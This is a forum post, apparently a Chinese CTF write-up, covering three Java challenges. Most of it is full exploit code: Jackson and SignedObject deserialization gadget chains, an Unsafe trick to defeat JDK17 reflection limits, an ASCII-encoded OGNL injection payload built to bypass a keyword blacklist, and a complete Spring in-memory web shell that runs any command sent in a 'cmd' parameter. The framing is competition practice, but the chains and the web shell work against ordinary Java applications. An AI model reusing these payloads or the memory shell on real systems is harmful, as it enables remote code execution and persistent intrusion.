近期Java题练习分享
chenxun 发表于 浙江 CTF 378浏览 · 2024-11-10 05:34

湖南省赛

初赛 babyjava

https://mp.weixin.qq.com/s/bLQseqFEEpG0UE7aHIIYtg
filter可url编码绕过

没过滤,Jackson原生链直接打
CTF-Java-Gadget/src/main/java/com/xiinnn/commonly/POJOJackson.java at master · LxxxSec/CTF-Java-Gadget (github.com)
拿大头师傅的项目直接打通

决赛 ezbypass

这个题思路还是挺简单的,但是ognl那里我自己绕不过,刷题刷少了,给的文件如下

hint是jar包不过没密码,start.sh如下

#!/bin/bash
rm -rf /start.sh
echo $FLAG > /flag
chmod 400 /flag
unset $FLAG
su - player -c "/usr/local/openjdk-17/bin/java -jar /app/ezbypass-0.0.1-SNAPSHOT.jar"

首先利用index的文件读取去读jar包,但是这里过滤了file协议,利用url:file可以读/etc/passwd 但是我读jar失败了不知道为啥,不过后面给了源码压缩包密码

那么首先就是反序列化了

@Controller
public class Backdoor {
    @ResponseBody
    @RequestMapping(value={"/bbbbbackd00r"})
    public String backdoor(String data) throws IOException, ClassNotFoundException {
        if (data == null) {
            return "backdoor here";
        }
        byte[] decode = Base64.getDecoder().decode(data);
        ByteArrayInputStream bis = new ByteArrayInputStream(decode);
        ObjectInputStream ois = new ObjectInputStream(bis);
        Object object = ois.readObject();
        return object.toString();
    }
}

依赖如下

可以看到有h2和ognl,h2我没想到啥思路,我这里想到的思路就是反序列化触发ognl,在jdk17下反射有限制但是可以利用Unsafe绕过

Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);
        Module baseModule = Object.class.getModule();
        Class currentClass = test.class; //修改为你所在的类
        long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.getAndSetObject(currentClass, addr, baseModule);

这样之后就能正常反射,具体没研究了网上很多分析文章,有jackson那么可以利用POJONode 类去触发getter,还需要一个触发POJONode 的toString方法的类,经典的BadAttributeValueExpException 类在jdk17下无法使用,不过有个前不久爆出来的EventListenerList 可以用,那么现在就差个sink点了,出题人在User类下写了个getResult 方法这个类也是可以被序列化的,刚好是getter看看这个方法

public String getResult() {
        try {
            if (!this.filter().booleanValue()) {
                OgnlContext ognlContext = new OgnlContext();
                System.out.println("called");
                return Ognl.getValue((String)this.desc, (Object)ognlContext).toString();
            }
            return "hacker! ";
        }
        catch (OgnlException var2) {
            return "fail";
        }
    }
}

可以看到典型的ognl注入,但是有黑名单

String[] BlackList = new String[]{"\"", "'", "\\", "invoke", "getclass", "$", "{", "}", "java", "runtime", "script", "process", "start", "flag", "exec", "req", "new", "engine"};

最终看别人的wp,利用ASCII编码+双重ognl绕过

String cmd = "(#a = @String@valueOf(@Character@valueOf(40))+@String@valueOf(@Character@valueOf(35))+@String@valueOf(@Character@valueOf(97))+@String@valueOf(@Character@valueOf(32))+@String@valueOf(@Character@valueOf(61))+@String@valueOf(@Character@valueOf(32))+@String@valueOf(@Character@valueOf(64))+@String@valueOf(@Character@valueOf(82))+@String@valueOf(@Character@valueOf(117))+@String@valueOf(@Character@valueOf(110))+@String@valueOf(@Character@valueOf(116))+@String@valueOf(@Character@valueOf(105))+@String@valueOf(@Character@valueOf(109))+@String@valueOf(@Character@valueOf(101))+@String@valueOf(@Character@valueOf(64))+@String@valueOf(@Character@valueOf(103))+@String@valueOf(@Character@valueOf(101))+@String@valueOf(@Character@valueOf(116))+@String@valueOf(@Character@valueOf(82))+@String@valueOf(@Character@valueOf(117))+@String@valueOf(@Character@valueOf(110))+@String@valueOf(@Character@valueOf(116))+@String@valueOf(@Character@valueOf(105))+@String@valueOf(@Character@valueOf(109))+@String@valueOf(@Character@valueOf(101))+@String@valueOf(@Character@valueOf(40))+@String@valueOf(@Character@valueOf(41))+@String@valueOf(@Character@valueOf(46))+@String@valueOf(@Character@valueOf(101))+@String@valueOf(@Character@valueOf(120))+@String@valueOf(@Character@valueOf(101))+@String@valueOf(@Character@valueOf(99))+@String@valueOf(@Character@valueOf(40))+@String@valueOf(@Character@valueOf(34))+@String@valueOf(@Character@valueOf(99))+@String@valueOf(@Character@valueOf(97))+@String@valueOf(@Character@valueOf(108))+@String@valueOf(@Character@valueOf(99))+@String@valueOf(@Character@valueOf(34))+@String@valueOf(@Character@valueOf(41))+@String@valueOf(@Character@valueOf(41)),#ognl = @ognl.Ognl@getValue(#a, @String@class))";

构造命令的脚本

cmd = "(#a = @Runtime@getRuntime().exec(\"calc\"))"
for i in range(len(cmd)):
    print(f"@String@valueOf(@Character@valueOf({ord(cmd[i])}))", end="+")

exp如下

package com.example.ezbypass.payload;

import com.example.ezbypass.entity.User;
import com.fasterxml.jackson.databind.node.POJONode;
import sun.misc.Unsafe;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.*;
import jdk.jshell.*;

public class test {
    public static void main(String[] args) throws Exception{
        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);
        Module baseModule = Object.class.getModule();
        Class currentClass = test.class;
        long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.getAndSetObject(currentClass, addr, baseModule);

        String cmd = "(#a = @String@valueOf(@Character@valueOf(40))+@String@valueOf(@Character@valueOf(35))+@String@valueOf(@Character@valueOf(97))+@String@valueOf(@Character@valueOf(32))+@String@valueOf(@Character@valueOf(61))+@String@valueOf(@Character@valueOf(32))+@String@valueOf(@Character@valueOf(64))+@String@valueOf(@Character@valueOf(82))+@String@valueOf(@Character@valueOf(117))+@String@valueOf(@Character@valueOf(110))+@String@valueOf(@Character@valueOf(116))+@String@valueOf(@Character@valueOf(105))+@String@valueOf(@Character@valueOf(109))+@String@valueOf(@Character@valueOf(101))+@String@valueOf(@Character@valueOf(64))+@String@valueOf(@Character@valueOf(103))+@String@valueOf(@Character@valueOf(101))+@String@valueOf(@Character@valueOf(116))+@String@valueOf(@Character@valueOf(82))+@String@valueOf(@Character@valueOf(117))+@String@valueOf(@Character@valueOf(110))+@String@valueOf(@Character@valueOf(116))+@String@valueOf(@Character@valueOf(105))+@String@valueOf(@Character@valueOf(109))+@String@valueOf(@Character@valueOf(101))+@String@valueOf(@Character@valueOf(40))+@String@valueOf(@Character@valueOf(41))+@String@valueOf(@Character@valueOf(46))+@String@valueOf(@Character@valueOf(101))+@String@valueOf(@Character@valueOf(120))+@String@valueOf(@Character@valueOf(101))+@String@valueOf(@Character@valueOf(99))+@String@valueOf(@Character@valueOf(40))+@String@valueOf(@Character@valueOf(34))+@String@valueOf(@Character@valueOf(99))+@String@valueOf(@Character@valueOf(97))+@String@valueOf(@Character@valueOf(108))+@String@valueOf(@Character@valueOf(99))+@String@valueOf(@Character@valueOf(34))+@String@valueOf(@Character@valueOf(41))+@String@valueOf(@Character@valueOf(41)),#ognl = @ognl.Ognl@getValue(#a, @String@class))";

        User user = new User("chenxun", cmd);
        POJONode node = new POJONode(user);

        EventListenerList list = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) getFieldValue(manager, "edits");
        vector.add(node);
        setFieldValue(list, "listenerList", new Object[]{Map.class, manager});
        byte[] bytes = serialize(list);
        System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(bytes)));

    }
    public static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        return baos.toByteArray();
    }

    public static void setFieldValue(Object obj, String field, Object val) throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
    public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {

        Class clazz = obj.getClass();
        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
                return field.get(obj);
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
        return null;
    }
}

哎,没咋写过ognl,绕了半天死活绕不过,后面看wp又发现根本不用自己调toString方法,我那方法纯属多余了,眼瞎了。。。这里湖南人文的环境反弹shell需要base64一下

鹏城杯 lookup

很直接的反序列化

自己重写了一下反序列化,定义了黑名单,看看黑名单

这里最关键的TemplatesImpl 在黑名单,hashMap也在里面,但是有jackson依赖,直接打二次反序列化即可

payload如下

package com.xiinnn.commonly;



import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;

public class Jackson2SignedObject {
    public static void main(String[] args) throws Exception{
        byte[] code = getTemplates();


//        byte[][] codes = {code};
        byte[] codes = Repository.lookupClass(SpringMemShell.class).getBytes();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "useless");
        setFieldValue(templates, "_tfactory",  new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", new byte[][]{codes});
        // 删除 BaseJsonNode#writeReplace 方法用于顺利序列化
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();

        Object templatesImplAopProxy = makeTemplatesImplAopProxy(templates);

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject((Serializable) templatesImplAopProxy, kp.getPrivate(), Signature.getInstance("DSA"));

        POJONode node = new POJONode(signedObject);

        BadAttributeValueExpException bave = new BadAttributeValueExpException(null);
        setFieldValue(bave, "val", node);

        byte[] bytes = serialize(bave);
        writeToFile(bytes,"1.bin");
        System.out.println(Base64.getEncoder().encodeToString(bytes));
//        unserialize(bytes);


    }
    public static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        return baos.toByteArray();
    }
    public static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }
    // 将字节数组写入到文件中
    public static void writeToFile(byte[] bytes, String filePath) throws IOException {
        FileOutputStream fos = new FileOutputStream(filePath);
        fos.write(bytes);
        fos.close();
    }
    public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
        return proxy;

    }
    public static byte[] getTemplates() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("MyTemplate");
        template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }
    public static void setFieldValue(Object obj, String field, Object val) throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
}

环境原因打个内存马

package com.xiinnn.commonly;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringMemShell extends AbstractTranslet{
    static {
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
            configField.setAccessible(true);
            RequestMappingInfo.BuilderConfiguration config =
                    (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
            Method method2 = SpringMemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            RequestMappingInfo info = RequestMappingInfo.paths("/shell")
                    .options(config)
                    .build();
            SpringMemShell springControllerMemShell = new SpringMemShell();
            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);

        } catch (Exception hi) {
//            hi.printStackTrace();
        }
    }

    public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
        if (request.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

0 条评论
某人
表情
可输入 255